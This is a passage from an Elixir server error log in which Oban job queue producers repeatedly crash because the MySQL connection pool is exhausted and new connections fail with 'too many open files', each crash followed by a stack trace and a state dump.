    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:34:02.252964Z], limit: 50, uuid: "fd938a43-8f37-4c2f-9d31-aec593dc775f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:02.252969Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15902>, refresh_timer: #Reference<0.2525715032.1077411843.252503>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:34:02.246536Z], limit: 5, uuid: "3d382b2f-a3f4-49c7-a681-7e2ae3b3c22d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:02.246541Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15857>, refresh_timer: #Reference<0.2525715032.1068498948.15849>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:34:02.252775Z], limit: 3, uuid: "314ee235-76ba-4c06-b294-84b443fca302", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:02.252781Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15901>, refresh_timer: #Reference<0.2525715032.1099431938.23093>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:34:02.256441Z], limit: 10, uuid: "6e129f1a-63dd-4a2b-9d9e-6f7d85e6a72e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:02.256447Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.15900>, refresh_timer: #Reference<0.2525715032.1068498948.15870>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:34:02.252156Z], limit: 5, uuid: "f59c9945-6f19-41d0-be4f-617bf9e23d4d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:02.252162Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.252523>, refresh_timer: #Reference<0.2525715032.1077411843.252492>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:15.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:16.736000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:18.434000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:19.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:20.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:24.477000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:34:14.241971Z], limit: 5, uuid: "18dae053-4ca5-4b89-bf91-75ff45910ec1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:14.241977Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23166>, refresh_timer: #Reference<0.2525715032.1099431938.23151>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:34:14.241851Z], limit: 3, uuid: "bf6d0a5c-548f-46ef-96fc-095507d692b9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:14.241860Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16257>, refresh_timer: #Reference<0.2525715032.1068498948.16238>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:26.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:34:14.242015Z], limit: 50, uuid: "bb1093a4-0b0a-40d8-9321-3b5ef687b740", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:14.242021Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23167>, refresh_timer: #Reference<0.2525715032.1099431938.23155>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:26.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:34:14.241851Z], limit: 10, uuid: "7d682505-a40c-4569-83e1-74f8d6bf526d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:14.241858Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.23165>, refresh_timer: #Reference<0.2525715032.1099431938.23156>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:26.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
